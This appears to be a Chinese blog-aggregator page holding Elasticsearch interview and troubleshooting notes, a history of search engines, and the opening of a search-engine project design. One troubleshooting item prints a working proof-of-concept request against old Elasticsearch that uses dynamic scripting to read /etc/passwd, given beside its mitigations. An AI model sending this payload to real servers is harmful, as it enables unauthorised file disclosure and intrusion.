精华内容
下载资源
问答
  • 搜索引擎

    千次阅读 2019-07-14 18:58:09
    搜索引擎(Search Engine)是指:根据一定的策略、运用特定的计算机程序从互联网上搜集信息,在信息进行组织和处理后,为用户提供检索服务,将用户检索相关的信息展示给用户的系统。比如百度就是一款比较流行的...

    搜索引擎

    搜索引擎
    一. 什么是收索引擎
    搜索引擎(Search Engine)是指:根据一定的策略、运用特定的计算机程序从互联网上搜集信息,在对信息进行组织和处理后,为用户提供检索服务,将用户检索相关的信息展示给用户的系统。比如百度就是一款比较流行的搜索引擎。

    二.常用的收索引擎有哪些,区别
    搜索引擎包括全文索引、目录索引、元搜索引擎、垂直搜索引擎、集合式搜索引擎、门户搜索引擎与免费链接列表
    全文索引、目录索引的区别
    1、搜索引擎属于自动网站检索,而目录索引则完全依赖手工操作。
    2、搜索引擎收录网站时,只要网站本身没有违反有关的规则,一般都能登录成功。而目录索引对网站的要求则高得多,有时即使登录多次也不一定成功。
    3、在登录搜索引擎时,我们一般不用考虑网站的分类问题,而登录目录索引时则必须将网站放在一个最合适的目录。
    4、搜索引擎中各网站的有关信息都是从用户网页中自动提取的,用户的我们拥有更多的自主权;而目录索引则要求必须手工另外填写网站信息,而且还有各种各样的限制。

    三.项目中如何使用ES,

    1.下载安装elasticsearch
    2.下载安装elasticsearch-head插件,图形化界面操作
    3.将原有项目数据库数据和ES库连接同步,此处用到工具elasticsearch-jdbc
    4.将查询或操作的数据源切换到ES库

    四.ES的HEAD插件有什么作用,
    1.显示集群的拓扑,并且能够执行索引和节点级别操作
    2.搜索接口能够查询集群中原始json或表格格式的检索数据
    3.能够快速访问并显示集群的状态
    4.有一个输入窗口,允许任意调用RESTful API。这个接口包含几个选项,可以组合在一起以产生不同的结果;
    5.请求方法(get、put、post、delete),查询json数据,节点和路径
    6.支持JSON验证器
    7.支持重复请求计时器
    8.支持使用javascript表达式变换结果
    五.ES如何配置IK分词器,常用分词器区别
    https://www.cnblogs.com/buxiangbuliang/p/9488162.html
    六.如何自定义词库
    https://blog.csdn.net/Barbarousgrowth_yp/article/details/80242811

    七.如何实现ES和数据库同步
    https://blog.csdn.net/qq_40670946/article/details/82181005

    八.项目使用情况,以及解决
    1.由gc引起节点脱离集群

    因为gc时会使jvm停止工作,如果某个节点gc时间过长,master ping3次(zen discovery默认ping失败重试3次)不通后就会把该节点剔除出集群,从而导致索引进行重新分配。

    解决方法:

    (1)优化gc,减少gc时间。

    (2)调大zen discovery的重试次数(es参数:ping_retries)和超时时间(es参数:ping_timeout)。

    后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。

    2.out of memory错误

    因为默认情况下es对字段数据缓存(Field Data Cache)大小是无限制的,查询时会把字段值放到内存,特别是facet查询,对内存要求非常高,它会把结果都放在内存,然后进行排序等操作,一直使用内存,直到内存用完,当内存不够用时就有可能出现out of memory错误。

    解决方法:

    (1)设置es的缓存类型为Soft Reference,它的主要特点是据有较强的引用功能。只有当内存不够的时候,才进行回收这类内存,因此在内存足够的时候,它们通常不被回收。另外,这些引 用对象还能保证在Java抛出OutOfMemory 异常之前,被设置为null。它可以用于实现一些常用图片的缓存,实现Cache的功能,保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。

    (2)设置es最大缓存数据条数和缓存失效时间,通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000,设置index.cache.field.expire: 10m把过期时间设置成10分钟。

    3.无法创建本地线程问题

    es恢复时报错: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]

    刚开始以为是文件句柄数限制,但想到之前报的是too many open file这个错误,并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为:虚拟内存/(堆栈大小10241024),也就是说虚拟内存越大或堆栈越小,能创建的线程越多。重新设置后还是会报那这错,按理说可创建线程数完全够用了的,就想是不是系统的一些限制。后来在网上找到说是max user processes的问题,这个值默认是1024,这个参数单看名字是用户最大打开的进程数,但看官方说明,就是用户最多可创建线程数,因为一个进程最少有一个线程,所以间接影响到最大进程数。调大这个参数后就没有报这个错了。

    解决方法:

    (1)增大jvm的heap内存或降低xss堆栈大小(默认的是512K)。

    (2)打开/etc/security/limits.conf ,把soft nproc 1024这行的1024改大就行了。

    4.集群状态为黄色时并发插入数据报错

    [7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]

    这是错误信息,当时集群状态为黄色,即副本没有分配。当时副本设置为2,只有一个节点,当你设置的副本大于可分配的机器时,此时如果你插入数据就有可能报上面的错,因为es的写一致性默认是使用quorum,即quorum值必须大于(副本数/2+1),我这里2/2+1=2也就是说要要至少插入到两份索引中,由于只有一个节点,quorum等于1,所以只插入到主索引,副本找不到从而报上面那个错。

    解决方法:

    (1)去掉没分配的副本。

    (2)把写一致性改成one,即只写入一份索引就行。

    5.设置jvm锁住内存时启动警告

    当设置bootstrap.mlockall: true时,启动es报警告Unknown mlockall error 0,因为linux系统默认能让进程锁住的内存为45k。

    解决方法:设置为无限制,linux命令:ulimit -l unlimited

    6.错误使用api导致集群卡死

    其实这个是很低级的错误。功能就是更新一些数据,可能会对一些数据进行删除,但删除时同事使用了deleteByQuery这个接口,通过构造BoolQuery把要删除数据的id传进去,查出这些数据删除。但问题是BoolQuery最多只支持1024个条件,100个条件都已经很多了,所以这样的查询一下子就把es集群卡死了。

    解决方法:用bulkRequest进行批量删除操作。

    7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream

    原因:es节点之间的JDK版本不一样

    解决方法:统一JDK环境

    8 . org.elasticsearch.client.transport.NoNodeAvailableException: No node available

    1) 端口错

    client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

    这里9300 写成9200的话会No node available

    要是你连的不是本机,注意IP有没有正确

    2 )jar报引用版本不匹配,开启的服务是什么版本,引用的jar最好匹配(这个我没有去试,反正我的是匹配的)

    3) 要是你改了集群名字,还有设置集群名字

    Settings settings = ImmutableSettings.settingsBuilder().put(“cluster.name”, “xxx”).build(); client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

    4)集群超过5s没有响应

    解决方法1.设置client.transport.ping_timeout设大

    2.代码内加入while (true) {

    try {

    bulk.execute().actionGet(getRetryTimeout());

    break;

    }

    catch (NoNodeAvailableException cont) {

    Thread.sleep(5000);

    continue;

    }

    }

    9.elasticsearch 近日被发现漏洞,可以远程执行任意代码,由于 elasticsearch提供了http接口,导致可能通过CSRF等方式借助恶意页面浏览发生攻击 。

    漏洞影响版本:

    elasticsearch 1.2以下

    测试代码:

    http:// ESSERVERIP :9200/search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.%3B%5Cnimport%20java.io.%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.%3B%5Cnimport%20java.io.%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&=1400571156309

    浏览器会返回/etc/passwd内容

    解决方案 :

    1、在配置文件elasticsearch.yml里设置script.disable_dynamic: true

    2、严格限制可访问elasticsearch服务的IP地址

    九.个人补充
    简介
    ElasticSearch(以下简称ES)是一个基于Lucene构建的开源(open-source),分布式(distributed),RESTful,实时(real-time)的搜索与分析(analytics)引擎。它可以让你在浏览数据时具备非常快的速度和优秀的可扩展性。它用于全文索引、结构化数据索引、数据分析以及三者的结合。它可以运行在你的笔记本上,或者扩展至数百台的服务器节点上来处理PB级的数据。 ES建立在Lucene的基础之上,但是Lucene仅仅是一个库,如果要发挥它的优势,你必须使用它然后再结合自己的开发来构造一个具体的应用。更坏的是你必须了解Lucene才能更好的使用它,但是Lucene本身就很复杂。所以ES意在取Lucene的优点,隐蔽其复杂性来构造一个简洁易用的RESTful风格的全文搜索引擎。
    与关系型数据库的名词对照
    Relational DB => Databases => Tables => Rows => Columns Elasticsearch => Indices => Types => Documents => Fields
    设计原理
    创建一个索引—index,shard,cluster
    将数据添加到ES的前提是,我们需要一个索引(名词):index——一个存储与这个索引相对应数据的地方。实际上,index仅仅只是一个命名空间来指向一个或多个实际的物理分片(shard)。
    一个分片(shard)是一个比较低层的工作单元来处理这个索引(index)的所有数据的一个切片(slice)。一个shard实际上是一个Lucene实例,在它的能力范围内拥有完整的搜索功能(在处理它自己拥有的数据时有所有的功能)。我们所有文档的索引indexed(动词)和存储工作都是在shard上,但这是透明的,我们不需要直接和shard通信,而是和我们创建的index(名词)通信。
    shards是ES将数据分布式在你的集群的关键。想象下shards是数据的容器,文档存储在shards里,而shards被分配在集群的每一个节点Node里。当你的集群规模增长和降低时,ES会自动的在Nodes间迁移shards以保持集群的负载均衡。
    shard的分类与作用:
    shard可分为primary shard和replica shard。 在一个index里的每一个文档都属于一个单独的primary shard,所以primary shard的数量决定了你最大能存储的数据量(对应于一个index)。
    注意:shard是归属与index的,而不是cluster的。
    replica shard是primary shard的拷贝。replica有两个作用: 1.冗余容灾 2.提供读请求服务,例如搜索或读取文档
    primary shard的数量在索引创建时确定后不能修改,replica可以在任何时候修改。 例: 见Figure2,在2.1的集群上创建一个index,拥有3个primary shards以及1个replica shards。

    由于只有一台Node,而Primary shard的Replicas与其在同一台节点上毫无意义,所以集群没有初始化replicas,这时添加另外一台Node。见Figure3,每一个primary shard初始化了一个replica。

    2.3 水平扩容
    当我们继续添加一台节点时,Node1和Node2中的各取一个shard移动到了Node3.见Figure4

    这样,我们每一台Node上只有两个shard。这就意味着每一台Node的硬件资源(CPU,RAM,I/O)将会被更少的shards共享,提高了每一个shard的性能。在这个案例中,6个shards最多可使用6台Node,这样每个shard就可以使用100%的node硬件资源。
    现在我们修改replica的数量到2,如Figure5

    这样我们就有了一个3primary shards,6replica shards的Cluster。我们可将Node提高到9台。水平扩容了集群性能。
    2.4 容灾
    我们杀掉的是master节点。一个Cluster必须要有master以保证集群的功能正常。所以集群要做的第一件事是选择一个新的master:Node2. 当我们杀掉1节点时,Primary shards 1和2丢失了。如果丢失了primary shard,index(名词)将不能正常的工作。此时P1和P2的拷贝存在Node2和Node3上。所以此时新升级的master(Node2)将做的第一件事就是将NODE2和NODE3上的replica shard1和replica shard2升级为primary shard。此时如果我们杀掉NODE2,整个集群的容灾过程同理,还是可以正常运行。
    这时,如果我们重启了NODE1,cluster将会重新分配缺少的两个replica shards(现在每个primary shard只有2个replicas,配置是3个,缺少2个)。如果NODE1的数据是旧的,那么它将会继续利用它们,NODE1只会从现在的Primary Shards拷贝这期间更改的数据。
    2.5 分布式文档存储
    2.5.1 Shards文档路由
    当你对一个文档建立索引时,它仅存储在一个primary shard上。ES是怎么知道一个文档应该属于哪个shard?当你创建一个新的文档时,ES是怎么知道应该把它存储至shard1还是shard2? 这个过程不能随机无规律的,因为以后我们还要将它取出来。它的路由算法是:
    shard = hash(routing) % numberofprimary_shards
    routing的值可以是文档的id,也可以是用户自己设置的一个值。hash将会根据routing算出一个数值然后%primaryshards的数量。这也是为什么primary_shards在index创建时就不能修改的原因。
    问题:当看到这里时,产生了一个问题:ES为什么要这样设计路由算法,这样就强制使primaryshards不可变,不利于以后index的扩容,除非事前就要对数据规模有所评估来设计可扩展的index。为什么不能使用一致性hash解决primaryshards改变时的情况呢?
    2.5.2 Primary/Replica Shards的交互
    假如我们有Figure8的集群。我们可以向这个集群的任何一台NODE发送请求,每一个NODE都有能力处理请求。每一个NODE都知道每一个文档所在的位置所以可以直接将请求路由过去。下面的例子,我们将所有的请求都发送到NODE1。

    注:最好的实践方式是轮询所有的NODE来发送请求,以达到请求负载均衡。
    写操作
    创建、索引、删除文档都是写操作,这些操作必须在primary shard完全成功后才能拷贝至其对应的replicas上。见Figure9。

    下面是Figure9的步骤:
    1.客户端向Node1发送写操作的请求。
    2.Node1使用文档的_id来决定这个文档属于shard0,然后将请求路由至NODE3,P0所在的位置。
    3.Node3在P0上执行了请求。如果请求成功,则将请求并行的路由至NODE1 NODE2的R0上。当所有的replicas报告成功后,NODE3向请求的node(NODE1)发送成功报告,NODE1再报告至Client。
    当客户端收到执行成功后,操作已经在Primary shard和所有的replica shards上执行成功了。
    当然,有一些请求参数可以修改这个逻辑。见原文。
    读操作
    一个文档可以在primary shard和所有的replica shard上读取。见Figure10

    读操作步骤:
    1.客户端发送Get请求到NODE1。
    2.NODE1使用文档的_id决定文档属于shard 0.shard 0的所有拷贝存在于所有3个节点上。这次,它将请求路由至NODE2。
    3.NODE2将文档返回给NODE1,NODE1将文档返回给客户端。 对于读请求,请求节点(NODE1)将在每次请求到来时都选择一个不同的replica。
    shard来达到负载均衡。使用轮询策略轮询所有的replica shards。
    更新操作
    更新操作,结合了以上的两个操作:读、写。见Figure11

    步骤:
    1.客户端发送更新操作请求至NODE1
    2.NODE1将请求路由至NODE3,Primary shard所在的位置
    3.NODE3从P0读取文档,改变source字段的JSON内容,然后试图重新对修改后的数据在P0做索引。如果此时这个文档已经被其他的进程修改了,那么它将重新执行3步骤,这个过程如果超过了retryon_conflict设置的次数,就放弃。
    4.如果NODE3成功更新了文档,它将并行的将新版本的文档同步到NODE1和NODE2的replica shards重新建立索引。一旦所有的replica
    shards报告成功,NODE3向被请求的节点(NODE1)返回成功,然后NODE1向客户端返回成功。
    2.6 Shard
    本节将解决以下问题:
    为什么搜索是实时的
    为什么文档的CRUD操作是实时的
    ES怎么保障你的更新在宕机的时候不会丢失
    为什么删除文档不会立即释放空间
    2.6.1不变性

    写到磁盘的倒序索引是不变的:自从写到磁盘就再也不变。 这会有很多好处:
    不需要添加锁。如果你从来不用更新索引,那么你就不用担心多个进程在同一时间改变索引。
    一旦索引被内核的文件系统做了Cache,它就会待在那因为它不会改变。只要内核有足够的缓冲空间,绝大多数的读操作会直接从内存而不需要经过磁盘。这大大提升了性能。
    其他的缓存(例如fiter cache)在索引的生命周期内保持有效,它们不需要每次数据修改时重构,因为数据不变。
    写一个单一的大的倒序索引可以让数据压缩,减少了磁盘I/O的消耗以及缓存索引所需的RAM。
    当然,索引的不变性也有缺点。如果你想让新修改过的文档可以被搜索到,你必须重新构建整个索引。这在一个index可以容纳的数据量和一个索引可以更新的频率上都是一个限制。
    2.6.2动态更新索引
    如何在不丢失不变形的好处下让倒序索引可以更改?答案是:使用不只一个的索引。 新添额外的索引来反映新的更改来替代重写所有倒序索引的方案。 Lucene引进了per-segment搜索的概念。一个segment是一个完整的倒序索引的子集,所以现在index在Lucene中的含义就是一个segments的集合,每个segment都包含一些提交点(commit point)。见Figure16。新的文档建立时首先在内存建立索引buffer,见Figure17。然后再被写入到磁盘的segment,见Figure18。

    一个per-segment的工作流程如下:
    1.新的文档在内存中组织,见Figure17。
    2.每隔一段时间,buffer将会被提交: 一个新的segment(一个额外的新的倒序索引)将被写到磁盘 一个新的提交点(commit point)被写入磁盘,将包含新的segment的名称。 磁盘fsync,所有在内核文件系统中的数据等待被写入到磁盘,来保障它们被物理写入。
    3.新的segment被打开,使它包含的文档可以被索引。
    4.内存中的buffer将被清理,准备接收新的文档。
    当一个新的请求来时,会遍历所有的segments。词条分析程序会聚合所有的segments来保障每个文档和词条相关性的准确。通过这种方式,新的文档轻量的可以被添加到对应的索引中。
    删除和更新
    segments是不变的,所以文档不能从旧的segments中删除,也不能在旧的segments中更新来映射一个新的文档版本。取之的是,每一个提交点都会包含一个.del文件,列举了哪一个segmen的哪一个文档已经被删除了。 当一个文档被”删除”了,它仅仅是在.del文件里被标记了一下。被”删除”的文档依旧可以被索引到,但是它将会在最终结果返回时被移除掉。
    文档的更新同理:当文档更新时,旧版本的文档将会被标记为删除,新版本的文档在新的segment中建立索引。也许新旧版本的文档都会本检索到,但是旧版本的文档会在最终结果返回时被移除。
    2.6.3实时索引
    在上述的per-segment搜索的机制下,新的文档会在分钟级内被索引,但是还不够快。 瓶颈在磁盘。将新的segment提交到磁盘需要fsync来保障物理写入。但是fsync是很耗时的。它不能在每次文档更新时就被调用,否则性能会很低。 现在需要一种轻便的方式能使新的文档可以被索引,这就意味着不能使用fsync来保障。 在ES和物理磁盘之间是内核的文件系统缓存。之前的描述中,Figure19,Figure20,在内存中索引的文档会被写入到一个新的segment。但是现在我们将segment首先写入到内核的文件系统缓存,这个过程很轻量,然后再flush到磁盘,这个过程很耗时。但是一旦一个segment文件在内核的缓存中,它可以被打开被读取。

    2.6.4更新持久化
    不使用fsync将数据flush到磁盘,我们不能保障在断电后或者进程死掉后数据不丢失。ES是可靠的,它可以保障数据被持久化到磁盘。 在2.6.2中,一个完全的提交会将segments写入到磁盘,并且写一个提交点,列出所有已知的segments。当ES启动或者重新打开一个index时,它会利用这个提交点来决定哪些segments属于当前的shard。 如果在提交点时,文档被修改会怎么样?不希望丢失这些修改:
    1.当一个文档被索引时,它会被添加到in-memory buffer,并且添加到Translog日志中,见Figure21.

    2.refresh操作会让shard处于Figure22的状态:每秒中,shard都会被refreshed:

    在in-memory buffer中的文档会被写入到一个新的segment,但没有fsync。
    in-memory buffer被清空
    3.这个过程将会持续进行:新的文档将被添加到in-memory buffer和translog日志中,见Figure23

    4.一段时间后,当translog变得非常大时,索引将会被flush,新的translog将会建立,一个完全的提交进行完毕。见Figure24

    在in-memory中的所有文档将被写入到新的segment
    内核文件系统会被fsync到磁盘。
    旧的translog日志被删除
    translog日志提供了一个所有还未被flush到磁盘的操作的持久化记录。当ES启动的时候,它会使用最新的commit point从磁盘恢复所有已有的segments,然后将重现所有在translog里面的操作来添加更新,这些更新发生在最新的一次commit的记录之后还未被fsync。
    translog日志也可以用来提供实时的CRUD。当你试图通过文档ID来读取、更新、删除一个文档时,它会首先检查translog日志看看有没有最新的更新,然后再从响应的segment中获得文档。这意味着它每次都会对最新版本的文档做操作,并且是实时的。
    2.6.5 Segment合并
    通过每隔一秒的自动刷新机制会创建一个新的segment,用不了多久就会有很多的segment。segment会消耗系统的文件句柄,内存,CPU时钟。最重要的是,每一次请求都会依次检查所有的segment。segment越多,检索就会越慢。
    ES通过在后台merge这些segment的方式解决这个问题。小的segment merge到大的,大的merge到更大的。。。
    这个过程也是那些被”删除”的文档真正被清除出文件系统的过程,因为被标记为删除的文档不会被拷贝到大的segment中。
    合并过程如Figure25:

    1.当在建立索引过程中,refresh进程会创建新的segments然后打开他们以供索引。
    2.merge进程会选择一些小的segments然后merge到一个大的segment中。这个过程不会打断检索和创建索引。
    3.Figure26,一旦merge完成,旧的segments将被删除
    新的segment被flush到磁盘
    一个新的提交点被写入,包括新的segment,排除旧的小的segments
    新的segment打开以供索引
    旧的segments被删除
    merge大的segments会消耗大量的I/O和CPU,严重影响索引性能。默认,ES会节制merge过程来给留下足够多的系统资源。

    展开全文
  • 搜索引擎发展简史

    千次阅读 2020-08-31 17:56:43
    想必大家对搜索引擎的发展史也都充满好奇,今天我就来和大家简单介绍一下搜索引擎的发展历史。 搜索引擎的鼻祖目前来说公认的就是1990推出历史上首个真正意义的搜索引擎Archie,只不过Archie用于FTP服务器,并非Web...

    现如今,搜索引擎的定义已经不仅仅是局限于狭义上的搜索引擎本身了,除了百度、谷歌这样的搜索引擎,抖音、小红书等应用软件里的搜索,都属于广义上的搜索引擎。搜索引擎可以说是在我们生活中方方面面都在普遍使用,小到一道菜的做法,大到飞机制造原理都需要一定程度上借助搜索引擎。想必大家对搜索引擎的发展史也都充满好奇,今天我就来和大家简单介绍一下搜索引擎的发展历史。

    搜索引擎的鼻祖目前来说公认的就是1990推出历史上首个真正意义的搜索引擎Archie,只不过Archie用于FTP服务器,并非Web。

    1993年,搜索引擎历史上第一个用于Web网络的搜索引擎Word Wide Web Wanderer出现,但只做收集网址而用。

    同年,第二个Web搜索引擎ALIWEB诞生,已经可以检索标题标签等信息,但文件主题内容还是无法索引。

    1994年,Infoseek创立,稍后即正式推出搜索服务,并允许站长向Infoseek提交网址。百度创始人李彦宏当时就是Infoseek的核心工程师之一。

    同年,杨致远与David Filo创立Yahoo!,当时作为人工收录网址而用,“寄居”于斯坦福大学的域名。

    稍后,第一个可以索引全文内容的搜索引擎WebCrawler推出,作为华盛顿大学的一个研究项目。之后该搜索引擎与95年、96年分别被AOL和Excite收购。直到2001年停止研发,转而成为整合、显示多方搜索结果的元搜索引擎。

    而后,Lycos创立,迅速成为最受欢迎的搜索引擎之一。

    1995年,Yahoo!公司正式成立,并在早些时候注册yahoo.com域名。

    年底,Excite搜索引擎正式上线,一度成为早起流行的搜索引擎之一。2001年其母公司破产,被InfoSpace购买,而后04年又被Ask Jeeves收购。

    稍后,Alta Vista诞生,并在搜索引擎领域做了许多开创性的工作,一跃成为当时最受欢迎的搜索引擎,堪称当时的Google。

    不久,Infoseek成为当时霸主网景浏览器的默认搜索引擎,曾占得90%以上的市场份额。随后因微软免费浏览器IE的推出而逐渐衰败,2008年正式停止研发。

    1996年,Larry Page与Sergey Brin在斯坦福大学开始名为BackRub的研究项目。该搜索引擎技术项目于1997年正式更名为Google。

    期间,Yahoo!上市。

    同年,Inktomi创立,是早起重要的搜索技术提供商,提供付费收录。

    同时,Hotbot成了,并使用Inktomi提供的数据。该搜索引擎在流行一段时间后于98年被Lycos收购,之后转型显示来自Google、FAST、Teoma和Inktomi搜索结果的元搜索引擎。

    年底,Lycos以收录6000w文件高居当时最大的搜索引擎。

    1997年,Ask Jeeves正式上线,后2006年更名为Ask。由于当时采用纯人工录入搜索结果的方式,由于网络上的信息量巨大,后来不得不使用其他搜索引擎的数据。

    1998年,GoTo(后改名为Overture)正式开始竞价排名业务,成为PPC点击付费广告形式的鼻祖。

    随后,Direct Hit创办,主要采用用户点击率来列出搜索结果排名,而后被作弊者利用。

    年间,迪士尼控股Infoseek,并将其转型为门户网站。AltaVista被Compaq收购,并也被转型为门户网站,从此AltaVista走向没落。

    另外,Yahoo!放弃两年前使用的AltaVista,转而使用Inktomi的搜索数据。那个时候,Yahoo!只在用户搜索的网站未在其目录中时才显示真正来自搜索引擎的数据。

    下半年,MSN搜索上线,由于微软没有重视,所以直到2004年该搜索引擎一直使用其他提供商的搜索技术与数据。

    与此同时,Google公司正式成立。

    1999年,AllTheWeb.com创建,作为搜索引擎技术公司FAST展示技术的平台。

    不久,NetScrpe放弃Excite,开始使用Google的搜索数据,对Google来说是个里程碑。

    同年,迪士尼将Infoseek流量转入Go.com,曾流行一时的搜索引擎Infoseek也不复存在,而Go.com几经波折目前尚默默无闻。Lycos也停止了自己的搜索技术研发,开始使用AllTheWeb的搜索数据。

    2000年初,Ask Jeeves花5亿美元的重金收购Direct Hit,却毫无进一步发展。两年后,Direct Hit也正式告终。

    同时,百度正式成立,作为搜索技术提供商。

    中旬,西班牙公司Terra Networks收购Lycos,并更名为Terra Lycos,缺无疾而终。

    随后,Yahoo!正式采用Google提供的搜索数据。

    本年中GoTo.com基本放弃用自己网站吸引用户的做法,转而向多家搜索引擎及网站提供付费搜索服务。

    同年下旬,Google推出AdWords,当时的CPM按显示付费模式却并未获得成功。

    2001年,Ask Jeeves收购Teoma,作为同样重视链接的搜索引擎,曾被认为可能是Google的最大竞争对手。

    不久,百度作为搜索引擎正式上线,百度竞价随即浮出水面,中文搜索随即迅速进入百度时代。

    2002年,Google AdWords推出PPC形式,成为至今的AdWords主流模式。这个由Overture发明的搜索广告模式,却被Google发扬光大。Google也因此成为充分利用搜索的网络赚钱机器。

    年中,AOL放弃Inktomi,转用Google的搜索数据。

    年末,Yahoo!放弃先返回其目录数据的做法,也完全采用Google的搜索数据。随后,收购Inktomi,为次年一些收购和整合拉开序幕。

    2003年,Overture收购AltaVista和FAST的搜索技术部门,因此其也拥有了当时两大主要搜索技术公司。

    随后,Google推出后来被成为Adsense的内容广告系统。

    下半年,Yahoo!以16亿美元收购Overture,将除了Google之外的几乎所有主流搜索技术收归旗下。Overture的PPC广告平台被整合,改名为Yahoo! Search Marketing。

    同年,微软MSN终于开始开发自己的搜索引擎技术。而国内的百度推出多种搜索方式,并将搜索领入社区化时代。

    2004年,Yahoo!宣布不再使用Google的搜索数据。

    随后,Google上市。

    年末,微软推出自己的搜索引擎MSN Search,不再使用第三方搜索引擎技术。

    三国鼎立的局面正式拉开。

    2005年,百度上市。

    2006年,微软推出类似于Google AdWords的广告系统AdCenter。随后MSN网络品牌产品全部改为Live标识。

    同年,Google正式确定其全球中文名字为“谷歌”,并进军中国市场。

    同时,百度宣称比Google“更懂中文”,稳固国内搜索引擎霸主地位。

    2007年01月01日,搜狗网页搜索3.0版本问世,利用自主研发服务器集群并行抓取技术,成为全球首个中文网页收录达百亿量级的搜索引擎。

    2007年5月腾讯与 Google 中国正式达成合作,由 Google 为 SOSO 提供技术支持。

    随后,Google开始提供类似网站联盟的按转化付费的广告形式。随后又收购网络广告公司DoubleClick,进入更广泛的网络广告领域。

    2009年,微软Live Search改名为Bing,并与Yahoo!达成历史性协议。Yahoo!将逐步放弃自己的搜索技术,转用Bing的数据,之前的努力也付之东流。

    同年,Google以创始人之一的Larry Page命名的PageRank(谷歌PR值)正式被大众知晓,后被广泛重视。

    2010年,Yahoo!正式采用Bing的搜索数据。

    同时,Google在旗下Chrome浏览器中推出了Google Instant,即用户在输入关键词(并未按下搜索按钮或Enter键)时即可看到搜索结果。

    年中,Google因某些原因退出中国市场,只能在香港留下一个桥头堡。

    2013年UC和阿里成立合资公司推出的移动搜索引擎——神马搜索。

    同年9月16日腾讯宣布已将搜搜并入搜狗搜索, SOSO 品牌就此消失。

    2015年1月6日消息,360总裁齐向东向全体员工发送邮件,宣布360搜索将正式推出独立品牌“好搜”,原域名可直接跳转至新域名。

    2016年2月,360再次宣布,将“好搜搜索”重新更名为“360搜索”,域名也由“haosou.com”切换为更易输入的“so.com”,回归360母品牌,意味着360搜索将继续依托360母品牌的基础,在安全、可信赖等方面,继续形成差异化优势。

    自此之后,PC搜索逐渐形成以百度、搜狗、360为代表的三足鼎立局面,移动搜索方面尽管神马搜索在逐步崛起中,但主要还是依赖于百度搜索。

    就搜索引擎的时代划分来说,目前搜索引擎处于第四代——用户中心时代,搜索用户有着千奇百怪的搜索需求,又因为大数据技术的逐步成熟,搜索引擎也将迎来更进一步的发展,在这场无硝烟的搜索市场战争中,究竟会鹿死谁手,我们一同拭目以待。

    展开全文
  • 搜索引擎项目

    千次阅读 2018-08-22 22:43:34
    搜索引擎项目 一. 项目介绍 1. 基本思路: 模拟百度搜索的方式实现站内搜索引擎,整个项目分为两大部分,HTTP服务器和搜索服务器: HTTP服务器的功能就是接受用户数据,显示索引结果 搜索服务器分为客户端和...

    搜索引擎项目

    一. 项目介绍

    1. 基本思路

    模拟百度搜索的方式实现站内搜索引擎,整个项目分为两大部分,HTTP服务器和搜索服务器:

    • HTTP服务器的功能就是接受用户数据,显示索引结果

    • 搜索服务器分为客户端和服务器端,客户端来负责提取有用的信息,服务器端来进行检索

    2. 模块划分

    整体分为4个模块:

    • HTTP服务器
    • 搜索客户端(CGI程序)
    • 搜索服务器(RPC框架)
    • 索引模块(核心数据结构)

    3. 核心流程

    1. HTTP服务器获取用户的请求并处理,将数据传给CGI程序。

    2. CGI程序提取数据获取有用的信息(query),提交到搜索服务器端

    3. 搜索服务器端处理信息进行检索操作,把结果反馈给CGI程序

    4. CGI程序将检索结果进行html格式化后,发送给HTTP服务器

    5. HTTP服务器收到结果将其打印到页面上

    4. 搜索服务器的核心流程

    1. 对请求进行解析

    2. 对查询次进行分词 (cppjieba分词)

    3. 根据每个分词结果 ,查找包含相应网页内容的文件id

    4. 将找到的所有结果进行排序(文件id集合)

    5. 根据对应的文件id,获取相应网站信息

    6. 构造响应,传回HTTP服务器

    5. 流程图

    这里写图片描述

    二. 项目特点

    1. 使用到Google提供的 protobuf, gflag, glog 等开源框架来完成开发

    2. 搜索服务器利用RPC协议,基于百度开源的高性能RPC框架 sofa-pbrpc 实现

    3. 搜索原理是以正排索引加倒排索引相结合的方式进行检索

    4. HTTP服务器以CGI的方式调用搜索客户端完成搜索功能

    5. HTTP服务器使用epoll模型,提高了并发的响应速度


    三. 项目的具体实现

    这里只介绍搜索服务器有关的实现,对于http服务器请查看:基于CGI协议的HTTP服务器项目

    搜索服务器

    1. 索引模块核心结构的定义

    实现一个搜索引擎,必须要考虑到的问题有:怎么存放数据?怎么传输数据?怎么进行检索?

    首先关于存放数据:我们就要为其定义一个较为完整的结构,这个结构包括了文件的id号(我们为了方便数据的检索,为每一个获取到的文件进行编号),文件的标题,文件的正文,文件的url(我们要进行网页搜索)

    传输数据并不是简单的在同一台主机上进行,而是在网络上不同主机间进行,需要数据的序列化与反序列化,我们得为此构建一个较为健全的序列化方法。

    信息的检索不能使用地毯式查找的方法,数据是非常大的,其效率及其低下。我们想的是能够通过关键词直接找到对应的文件标号,根据文件标号获取的响应的文件信息,这就使用到了正排索引+倒排索引的方式,正排结构中存放文件标号及其对应的文件信息,倒排结构中存放关键字及其该关键字对应的所有文件id;之后我们便可以以查倒排,找正排的方式进行信息的获取。

    综合上述问题,我们决定使用google提供的 protobuf 序列化开源框架来实现,protobuf具有

    • 高效的解析速度
    • 小巧的传输体积
    • 直接上手,简单易用

